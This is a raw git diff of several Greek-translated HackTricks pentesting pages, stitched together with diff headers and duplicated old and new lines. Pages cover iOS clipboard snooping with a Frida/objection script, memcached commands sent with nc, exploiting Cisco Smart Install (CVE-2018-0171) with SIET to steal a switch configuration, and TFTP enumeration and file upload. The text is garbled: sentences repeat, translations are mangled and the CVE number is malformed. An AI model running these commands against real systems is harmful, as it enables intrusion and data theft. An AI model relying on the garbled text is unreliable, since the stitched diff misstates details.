Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης πινάκων αντιγραφής είναι το **objection's pasteboard monitor**, το οποίο ελέγχει τον generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης πίνακα αντιγραφής είναι το **objection's pasteboard monitor**, το οποίο ελέγχει τον generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Εδώ υπάρχει ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από τη μέθοδο του objection, για την ανάγνωση και καταγραφή των αλλαγών από τον πίνακα αντιγραφής κάθε 5 δευτερόλεπτα:
Εδώ υπάρχει ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από τη μέθοδο του objection, για να διαβάζει και να καταγράφει τις αλλαγές από τον πίνακα αντιγραφής κάθε 5 δευτερόλεπτα:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -80,7 +80,7 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -93,8 +93,8 @@ console.log(items);
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -9,20 +9,21 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Φύλλο Απατηλών Εντολών
**Από** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Οι υποστηριζόμενες εντολές (οι επίσημες και μερικές μη επίσημες) καταγράφονται στο έγγραφο [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Οι υποστηριζόμενες εντολές (οι επίσημες και μερικές ανεπίσημες) καταγράφονται στο έγγραφο [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Δυστυχώς η περιγραφή της σύνταξης δεν είναι πραγματικά σαφής και μια απλή εντολή βοήθειας που να καταγράφει τις υπάρχουσες εντολές θα ήταν πολύ καλύτερη. Εδώ υπάρχει μια επισκόπηση των εντολών που μπορείτε να βρείτε στην [πηγή](https://github.com/memcached/memcached) (έως 19.08.2016):
@ -42,14 +43,14 @@
| stats | Εκτυπώνει γενικά στατιστικά | `stats` |
| | Εκτυπώνει στατιστικά μνήμης | `stats slabs` |
| | Εκτυπώνει στατιστικά υψηλότερου επιπέδου εκχώρησης | `stats malloc` |
| | Εκτυπώνει πληροφορίες σχετικά με τα στοιχεία | `stats items` |
| | Εκτυπώνει πληροφορίες σχετικά με τα στοιχεία | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Επαναφέρει τους μετρητές στατιστικών | `stats reset` |
| lru\_crawler metadump | Αδειάζει (το μεγαλύτερο μέρος) των μεταδεδομένων για (όλα τα) τα στοιχεία στην cache | `lru_crawler metadump all` |
| lru\_crawler metadump | Αδειάζει (το μεγαλύτερο μέρος) των μεταδεδομένων για (όλα τα) τα στοιχεία στην μνήμη cache | `lru_crawler metadump all` |
| version | Εκτυπώνει την έκδοση του διακομιστή | `version` |
| verbosity | Αυξάνει το επίπεδο καταγραφής | `verbosity` |
| quit | Τερματίζει τη συνεδρία | `quit` |
| quit | Τερματίζει τη συνεδρία | `quit` |
#### Στατιστικά Κίνησης <a href="#traffic-statistics" id="traffic-statistics"></a>
@ -57,7 +58,7 @@
```
stats
```
Παίρνετε μια λίστα που εξυπηρετεί τον αριθμό των συνδέσεων, bytes εισόδου/εξόδου και πολλά άλλα.
Θα λάβετε μια λίστα που εξυπηρετεί τον αριθμό των συνδέσεων, bytes εισόδου/εξόδου και πολλά άλλα.
Παράδειγμα Εξόδου:
```
@ -91,30 +92,22 @@ END
```
stats slabs
```
### Memcache Commands
```markdown
## Memcache Commands
#### Stats Command
### get
The `stats` command is used to retrieve statistics from the Memcache server. This command provides information such as the total number of items stored, the number of connections, and the memory used by the server.
The `get` command is used to retrieve the value stored under a specific key.
```bash
$ echo "stats" | nc <ip> 11211
Syntax:
```
get <key>
```
#### Get Command
The `get` command is used to retrieve a specific item from the Memcache server. You need to provide the key of the item you want to retrieve.
```bash
$ echo "get <key>" | nc <ip> 11211
Example:
```
get mykey
```
#### Set Command
The `set` command is used to store a new item in the Memcache server. You need to provide the key, flags, expiration time, and the size of the data.
```bash
$ echo "set <key> <flags> <exptime> <bytes> \r\n <data>" | nc <ip> 11211
```
```
STAT 1:chunk_size 80
@ -144,7 +137,7 @@ END
```
stats items
```
### Command to determine how many keys do exist
**Command to determine how many keys do exist:**
```bash
stats items
@ -160,7 +153,7 @@ END
```
Αυτό τουλάχιστον βοηθάει να δούμε αν χρησιμοποιούνται κλειδιά. Για να ανακτήσετε τα ονόματα των κλειδιών από ένα σενάριο PHP που ήδη κάνει πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από το [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -173,7 +166,7 @@ END
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -4,22 +4,22 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
**Το Cisco Smart Install** είναι ένα σχεδιασμένο από την Cisco για την αυτοματοποίηση της αρχικής ρύθμισης και φόρτωσης μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό στο υλικό Cisco και χρησιμοποιεί το πρωτόκολλο επιπέδου μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Το Cisco Smart Install** είναι ένα σχεδιασμένο από την Cisco λογισμικό για την αυτοματοποίηση της αρχικής ρύθμισης και φόρτωσης μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό στο υλικό Cisco και χρησιμοποιεί το πρωτόκολλο στρώματος μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Προεπιλεγμένη θύρα:** 4786
```
@ -28,30 +28,30 @@ PORT STATE SERVICE
```
## **Εργαλείο Εκμετάλλευσης Smart Install**
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9,8 στην κλίμακα CVSS.**
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9.8 στην κλίμακα CVSS.**
**Ένα πακέτο ειδικά διαμορφωμένο που στέλνεται στη θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, ενεργοποιεί ένα buffer overflow, επιτρέποντας σε έναν εισβολέα:**
**Ένα προσεκτικά διαμορφωμένο πακέτο που στέλνεται στη θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, ενεργοποιεί ένα buffer overflow, επιτρέποντας σε έναν εισβολέα:**
* να επανεκκινήσει εξαναγκαστικά τη συσκευή
* να καλέσει RCE
* να κλέψει διαμορφώσεις εξοπλισμού δικτύου.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Εργαλείο Εκμετάλλευσης Smart Install)** αναπτύχθηκε για να εκμεταλλευτεί αυτήν την ευπάθεια, σας επιτρέπει να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο διαμόρφωσης υλικού δικτύου. Η διαμόρφωση εξυπορεί να είναι πολύτιμη για έναν pentester επειδή θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσματικών για μια επίθεση.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Εργαλείο Εκμετάλλευσης Smart Install)** αναπτύχθηκε για να εκμεταλλευτεί αυτήν την ευπάθεια, σας επιτρέπει να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο διαμόρφωσης υλικού δικτύου. Η διαμόρφωση της εξωθείας μπορεί να είναι πολύτιμη για έναν δοκιμαστή ασφάλειας επειδή θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσμάτων για μια επίθεση.
**Η συσκευή-στόχος θα είναι ένας "ζωντανός" διακόπτης Cisco Catalyst 2960. Οι εικονικές εικόνες δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο στο πραγματικό υλικό.**
**Η συσκευή-στόχος θα είναι ένα "ζωντανό" διακόπτη Cisco Catalyst 2960. Οι εικόνες εικονικών μηχανημάτων δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο στο πραγματικό υλικό.**
Η διεύθυνση του διακόπτη-στόχου είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το όρισμα -g** σημαίνει εξυπορεία της διαμόρφωσης από τη συσκευή, **το όρισμα -i** σάς επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
Η διεύθυνση του διακόπτη-στόχου είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το όρισμα -g** σημαίνει εξωθεία της διαμόρφωσης από τη συσκευή, **το όρισμα -i** σάς επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
Η διαμόρφωση του διακόπτη **10.10.100.10** θα βρίσκεται στον φάκελο **tftp/**
Η διαμόρφωση του switch **10.10.100.10** θα βρίσκεται στον φάκελο **tftp/**
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -59,10 +59,10 @@ PORT STATE SERVICE
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,27 +1,27 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Βασικές Πληροφορίες
Το **Trivial File Transfer Protocol (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στη θύρα **UDP 69** και επιτρέπει μεταφορές αρχείων χωρίς την ανάγκη ελέγχου ταυτότητας. Επισημαίνεται στο **RFC 1350**, η απλότητά του σημαίνει ότι λείπουν βασικά χαρακτηριστικά ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς σε μεγάλα εσωτερικά δίκτυα για τη διανομή **αρχείων ρυθμίσεων** και **εικόνων ROM** σε συσκευές όπως τα **VoIP handsets**, χάρη στην αποτελεσματικότητά του σε αυτά τα συγκεκριμένα σενάρια.
**Πρωτόκολλο Απλής Μεταφοράς Αρχείων (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στη θύρα **UDP 69** και επιτρέπει μεταφορές αρχείων χωρίς την ανάγκη πιστοποίησης. Επισημαίνεται στο **RFC 1350**, η απλότητά του σημαίνει ότι λείπουν βασικά χαρακτηριστικά ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς εντός μεγάλων εσωτερικών δικτύων για τη διανομή **αρχείων ρυθμίσεων** και **εικόνων ROM** σε συσκευές όπως τα **VoIP handsets**, χάρη στην αποτελεσματικότητά του σε αυτά τα συγκεκριμένα σενάρια.
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένα Bittorrent-tracker (Το Shodan αναγνωρίζει αυτήν τη θύρα με αυτό το όνομα). Αν έχετε περισσότερες πληροφορίες γι' αυτό, ενημερώστε μας για παράδειγμα στην [**ομάδα telegram του HackTricks**](https://t.me/peass) (ή σε ένα θέμα στο github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένα Bittorrent-tracker (Το Shodan αναγνωρίζει αυτήν τη θύρα με αυτό το όνομα). Αν έχετε περισσότερες πληροφορίες γι' αυτό πείτε μας για παράδειγμα στην [**ομάδα telegram του HackTricks**](https://t.me/peass) (ή σε ένα θέμα στο github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Προεπιλεγμένη Θύρα:** 69/UDP
```
@ -30,7 +30,7 @@ PORT STATE SERVICE REASON
```
# Απαρίθμηση
Το TFTP δεν παρέχει λίστα καταλόγου, οπότε το script `tftp-enum` από το `nmap` θα προσπαθήσει να κάνει βίαιη είσοδο σε προεπιλεγμένα μονοπάτια.
Το TFTP δεν παρέχει λίστα καταλόγου, οπότε το script `tftp-enum` από το `nmap` θα προσπαθήσει να κάνει brute-force σε προεπιλεγμένα μονοπάτια.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
@ -52,7 +52,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -65,7 +65,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.

View file

@ -1,27 +1,27 @@
# 111/TCP/UDP - Ελεγχος ασφάλειας Portmapper
# 111/TCP/UDP - Ελεγχος Ασφάλειας Portmapper
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
